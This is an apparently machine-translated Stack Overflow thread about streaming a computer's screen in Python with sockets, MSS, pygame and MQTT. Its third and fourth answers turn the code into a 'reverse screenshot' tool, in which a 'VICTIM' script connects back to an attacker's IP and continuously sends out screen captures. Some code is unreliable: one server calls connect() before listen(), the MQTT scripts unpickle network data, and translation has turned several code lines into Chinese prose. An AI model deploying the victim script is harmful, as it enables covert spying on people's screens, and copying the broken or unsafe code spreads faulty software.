嗨,我被困住了,我在互联网上找不到任何有用的东西。 我试图在python中制作一个屏幕共享程序。 问题是我无法以至少24 fps的速度发送屏幕,因为当我使用PIL(ImageGrab)截取屏幕截图时,会出现延迟。 我的客户将从服务器获取图片(屏幕截图)" blit"它来 使用pygame的屏幕。
服务器:
# -*- coding: utf-8 -*-
import socket
import os
import threading
from PIL import ImageGrab
def RetrFile(name, sock):
while 1:
img = ImageGrab.grab()
img.save("PATH_TO_PIC")
filename = "PATH_TO_PIC"
sock.send(str(os.path.getsize(filename)))
with open('PATH_TO_PIC', 'rb') as f:
bytesToSend = f.read(1024)
sock.send(bytesToSend)
while bytesToSend != "":
bytesToSend = f.read(1024)
sock.send(bytesToSend)
def Main():
host = '0.0.0.0'
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(5)
print "Server Started."
while True:
c, addr = s.accept()
print "Client connected ip: <"+ str(addr) + ">"
t = threading.Thread(target = RetrFile, args = ("retrThread", c))
t.start()
s.close()
if __name__ == '__main__':
Main()
客户端:
import socket
import pygame as pg
def Main():
host = '127.0.0.1'
port = 5000
pg.init()
display_screen = pg.display.set_mode((1900, 1000))
clock = pg.time.Clock()
s = socket.socket()
s.connect((host,port))
filename = "PATH_TO_PIC"
isExit = False
while not isExit:
for event in pg.event.get():
if event.type == pg.QUIT:
isExit = True
data = s.recv(1024)
print data
filesize = long(data)
f = open(filename, 'wb')
data = s.recv(1024)
totalRecv = len(data)
f.write(data)
while totalRecv < filesize:
data = s.recv(1024)
totalRecv += len(data)
f.write(data)
showImg = pg.image.load('PATH_TO_PIC')
display_screen.blit(showImg, (0,0))
pg.display.flip()
clock.tick(60)
s.close()
if __name__ == '__main__':
Main()
基本上我的问题是:如何在2台计算机之间共享屏幕,我不知道使用PIL发送大量图片的方式是否有效且正确。 有更有效的方法吗?投下1号计算机的屏幕并在计算机2号显示它?
答案 0 :(得分:2)
我刚试过,它看起来效果很好(Python 3)。如果您认为这是可以接受的,请告诉我,我正在使用MSS模块来阻止I / O.
<强> server.py 强>
from socket import socket
from threading import Thread
from zlib import compress
from mss import mss
WIDTH = 1900
HEIGHT = 1000
def retreive_screenshot(conn):
with mss() as sct:
# The region to capture
rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}
while 'recording':
# Capture the screen
img = sct.grab(rect)
# Tweak the compression level here (0-9)
pixels = compress(img.rgb, 6)
# Send the size of the pixels length
size = len(pixels)
size_len = (size.bit_length() + 7) // 8
conn.send(bytes([size_len]))
# Send the actual pixels length
size_bytes = size.to_bytes(size_len, 'big')
conn.send(size_bytes)
# Send pixels
conn.sendall(pixels)
def main(host='0.0.0.0', port=5000):
sock = socket()
sock.connect((host, port))
try:
sock.listen(5)
print('Server started.')
while 'connected':
conn, addr = sock.accept()
print('Client connected IP:', addr)
thread = Thread(target=retreive_screenshot, args=(conn,))
thread.start()
finally:
sock.close()
if __name__ == '__main__':
main()
<强> client.py 强>
from socket import socket
from zlib import decompress
import pygame
WIDTH = 1900
HEIGHT = 1000
def recvall(conn, length):
""" Retreive all pixels. """
buf = b''
while len(buf) < length:
data = conn.recv(length - len(buf))
if not data:
return data
buf += data
return buf
def main(host='127.0.0.1', port=5000):
pygame.init()
screen = pygame.display.set_mode((WIDTH, HEIGHT))
clock = pygame.time.Clock()
watching = True
sock = socket()
sock.connect((host, port))
try:
while watching:
for event in pygame.event.get():
if event.type == pygame.QUIT:
watching = False
break
# Retreive the size of the pixels length, the pixels length and pixels
size_len = int.from_bytes(sock.recv(1), byteorder='big')
size = int.from_bytes(sock.recv(size_len), byteorder='big')
pixels = decompress(recvall(sock, size))
# Create the Surface from raw pixels
img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
# Display the picture
screen.blit(img, (0, 0))
pygame.display.flip()
clock.tick(60)
finally:
sock.close()
if __name__ == '__main__':
main()
您可以通过使用其他压缩算法(如LZ4)来改进,它具有Python实现。您将需要尝试:)
答案 1 :(得分:1)
我对基于 Python 的屏幕共享脚本集很感兴趣。我并不关心编写低级套接字代码。我最近发现了一个有趣的消息代理/服务器,称为 mosquitto (https://mosquitto.org/) 简而言之,您可以连接到服务器并订阅主题。当代理收到有关您订阅的主题的消息时,它会向您发送该消息。
这是连接到 mosquitto 代理的两个脚本。一个脚本侦听屏幕抓取请求。另一个脚本请求屏幕抓取并显示它们。
这些脚本依赖图像处理模块来完成繁重的工作 过程是
使用命令行消息退出服务器 C:\Program Files\mosquitto>mosquitto_pub.exe -h "127.0.0.1" -t "server/quit" -m "0"
此实现使用增量刷新。它使用 numpy 对当前和 最后一个画面。这确实增加了压缩比。它表明许多可能对某台机器上正在发生的事情的实时流感兴趣的客户可以使用和连接异地服务器。这些脚本绝对不是生产质量,仅用作 POC。
脚本 1 - 服务器
import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle
monitor = 0 # all monitors
quit = False
capture = False
def on_connect(client, userdata, flags, rc):
print("Connected flags " + str(flags) + " ,result code=" + str(rc))
def on_disconnect(client, userdata, flags, rc):
print("Disconnected flags " + str(flags) + " ,result code=" + str(rc))
def on_message(client, userdata, message):
global quit
global capture
global last_image
if message.topic == "server/size":
with mss.mss() as sct:
sct_img = sct.grab(sct.monitors[monitor])
size = sct_img.size
client.publish("client/size", str(size.width) + "|" + str(size.height))
if message.topic == "server/update/first":
with mss.mss() as sct:
b64img = BuildPayload(False)
client.publish("client/update/first", b64img)
if message.topic == "server/update/next":
with mss.mss() as sct:
b64img = BuildPayload()
client.publish("client/update/next", b64img)
if message.topic == "server/quit":
quit = True
def BuildPayload(NextFrame = True):
global last_image
with mss.mss() as sct:
sct_img = sct.grab(sct.monitors[monitor])
image = numpy.array(sct_img)
if NextFrame == True:
# subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
xor_image = image ^ last_image
b64img = base64.b64encode(zlib.compress(pickle.dumps(xor_image), 9))
else:
# first image - less compression than delta
b64img = base64.b64encode(zlib.compress(pickle.dumps(image), 9))
print("Source Image Size=" + str(len(sct_img.rgb)))
last_image = image
print("Compressed Image Size=" + str(len(b64img)) + " bytes")
return b64img
myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_disconnect = on_disconnect
client.on_message = on_message
try:
client.connect("127.0.0.1")
client.loop_start()
client.subscribe("server/size")
client.subscribe("server/update/first")
client.subscribe("server/update/next")
client.subscribe("server/quit")
while not quit:
time.sleep(5)
continue
client.publish("client/quit")
time.sleep(5)
client.loop_stop()
client.disconnect()
except:
print("Could not connect to the Mosquito server")
脚本 2 - 客户端
import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle
quit = False
size = False
capture = False
width = 0
height = 0
last_image = None
first = False
def on_connect(client, userdata, flags, rc):
print("Connected flags " + str(flags) + " ,result code=" + str(rc))
def on_message(client, userdata, message):
global quit
global size
global capture
global width
global height
global last_image
global first
if message.topic == "client/size":
if width == 0 and height == 0:
strsize = message.payload.decode("utf-8")
strlist = strsize.split("|")
width = int(strlist[0])
height = int(strlist[1])
size = True
if message.topic == "client/update/first":
# stay synchronized with other connected clients
if size == True:
DecodeAndShowPayload(message, False)
first = True
if message.topic == "client/update/next":
# stay synchronized with other connected clients
if size == True and first == True:
DecodeAndShowPayload(message)
if message.topic == "client/quit":
quit = True
def DecodeAndShowPayload(message, NextFrame = True):
global last_image
global capture
global quit
if NextFrame == True:
# subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
xor_image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
image = last_image ^ xor_image
else:
# first image - less compression than delta
image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
last_image = image
cv2.imshow("Server", image)
if cv2.waitKeyEx(25) == 113:
quit = True
capture = False
myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_message = on_message
try:
client.connect("127.0.0.1")
client.loop_start()
client.subscribe("client/size")
client.subscribe("client/update/first")
client.subscribe("client/update/next")
client.subscribe("client/quit")
# ask once and retain in case client starts before server
asksize = False
while not size:
if not asksize:
client.publish("server/size", "1", 0, True)
asksize = True
time.sleep(1)
first_image = True
while not quit:
if capture == False:
capture = True
if first_image:
client.publish("server/update/first")
first_image = False
else:
client.publish("server/update/next")
time.sleep(.1)
cv2.destroyAllWindows()
client.loop_stop()
client.disconnect()
except:
print("Could not connect to the Mosquito server")
显示压缩的示例输出 例如:源为 18,662,400 字节(3 个屏幕) 压缩图像小至 35,588 字节,即 524 比 1
答案 2 :(得分:0)
对@ Tiger-222的代码进行以下更改
size_len = int.from_bytes(sock.recv(1),byteorder ='big')
size = int.from_bytes(recvall(sock,size_len),byteorder ='big')
答案 3 :(得分:0)
我做了反向截屏,(一种渗透测试工具), 服务器(受害者)将数据发送到客户端(攻击者)的位置
攻击者
import socket
from zlib import decompress
import pygame
WIDTH = 1900
HEIGHT = 1000
def recvall(conn, length):
""" Retreive all pixels. """
buf = b''
while len(buf) < length:
data = conn.recv(length - len(buf))
if not data:
return data
buf += data
return buf
def main(host='192.168.1.208', port=6969):
''' machine lhost'''
sock = socket.socket()
sock.bind((host, port))
print("Listening ....")
sock.listen(5)
conn, addr = sock.accept()
print("Accepted ....", addr)
pygame.init()
screen = pygame.display.set_mode((WIDTH, HEIGHT))
clock = pygame.time.Clock()
watching = True
try:
while watching:
for event in pygame.event.get():
if event.type == pygame.QUIT:
watching = False
break
# Retreive the size of the pixels length, the pixels length and pixels
size_len = int.from_bytes(conn.recv(1), byteorder='big')
size = int.from_bytes(conn.recv(size_len), byteorder='big')
pixels = decompress(recvall(conn, size))
# Create the Surface from raw pixels
img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
# Display the picture
screen.blit(img, (0, 0))
pygame.display.flip()
clock.tick(60)
finally:
print("PIXELS: ", pixels)
sock.close()
if __name__ == "__main__":
main()
VICTIM
import socket
from threading import Thread
from zlib import compress
from mss import mss
import pygame
WIDTH = 1900
HEIGHT = 1000
def retreive_screenshot(conn):
with mss() as sct:
# The region to capture
rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}
while True:
# Capture the screen
img = sct.grab(rect)
# Tweak the compression level here (0-9)
pixels = compress(img.rgb, 6)
# Send the size of the pixels length
size = len(pixels)
size_len = (size.bit_length() + 7) // 8
conn.send(bytes([size_len]))
# Send the actual pixels length
size_bytes = size.to_bytes(size_len, 'big')
conn.send(size_bytes)
# Send pixels
conn.sendall(pixels)
def main(host='192.168.1.208', port=6969):
''' connect back to attacker on port'''
sock = socket.socket()
sock.connect((host, port))
try:
while True:
thread = Thread(target=retreive_screenshot, args=(sock,))
thread.start()
thread.join()
except Exception as e:
print("ERR: ", e)
sock.close()
if __name__ == '__main__':
main()
答案 4 :(得分:0)
对于服务器:
import socket
from zlib import decompress
import pygame
WIDTH = 1900
HEIGHT = 1000
def recvall(conn, length):
""" Retreive all pixels. """
buf = b''
while len(buf) < length:
data = conn.recv(length - len(buf))
if not data:
return data
buf += data
return buf
def main(host='0.0.0.0', port=6969):
''' machine lhost'''
sock = socket.socket()
sock.bind((host, port))
print("Listening ....")
sock.listen(5)
conn, addr = sock.accept()
print("Accepted ....", addr)
pygame.init()
screen = pygame.display.set_mode((WIDTH, HEIGHT))
clock = pygame.time.Clock()
watching = True
try:
while watching:
for event in pygame.event.get():
if event.type == pygame.QUIT:
watching = False
break
# Retreive the size of the pixels length, the pixels length and pixels
size_len = int.from_bytes(conn.recv(1), byteorder='big')
size = int.from_bytes(conn.recv(size_len), byteorder='big')
pixels = decompress(recvall(conn, size))
# Create the Surface from raw pixels
img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
# Display the picture
screen.blit(img, (0, 0))
pygame.display.flip()
clock.tick(60)
finally:
print("PIXELS: ", pixels)
sock.close()
if __name__ == "__main__":
main()
对于客户: 进口插座 从线程导入线程 从zlib导入压缩
from mss import mss
import pygame
WIDTH = 1900
HEIGHT = 1000
def retreive_screenshot(conn):
with mss() as sct:
# The region to capture
rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}
while True:
# Capture the screen
img = sct.grab(rect)
# Tweak the compression level here (0-9)
pixels = compress(img.rgb, 6)
# Send the size of the pixels length
size = len(pixels)
size_len = (size.bit_length() + 7) // 8
conn.send(bytes([size_len]))
# Send the actual pixels length
size_bytes = size.to_bytes(size_len, 'big')
conn.send(size_bytes)
# Send pixels
conn.sendall(pixels)
x = socket.socket()
def main(host='Your Server IP', port=6969):
''' connect back to attacker on port'''
sock = socket.socket()
sock.connect((host, port))
try:
while True:
thread = Thread(target=retreive_screenshot, args=(sock,))
thread.start()
thread.join()
except Exception as e:
print("ERR: ", e)
sock.close()
x.close()
if __name__ == '__main__':
main()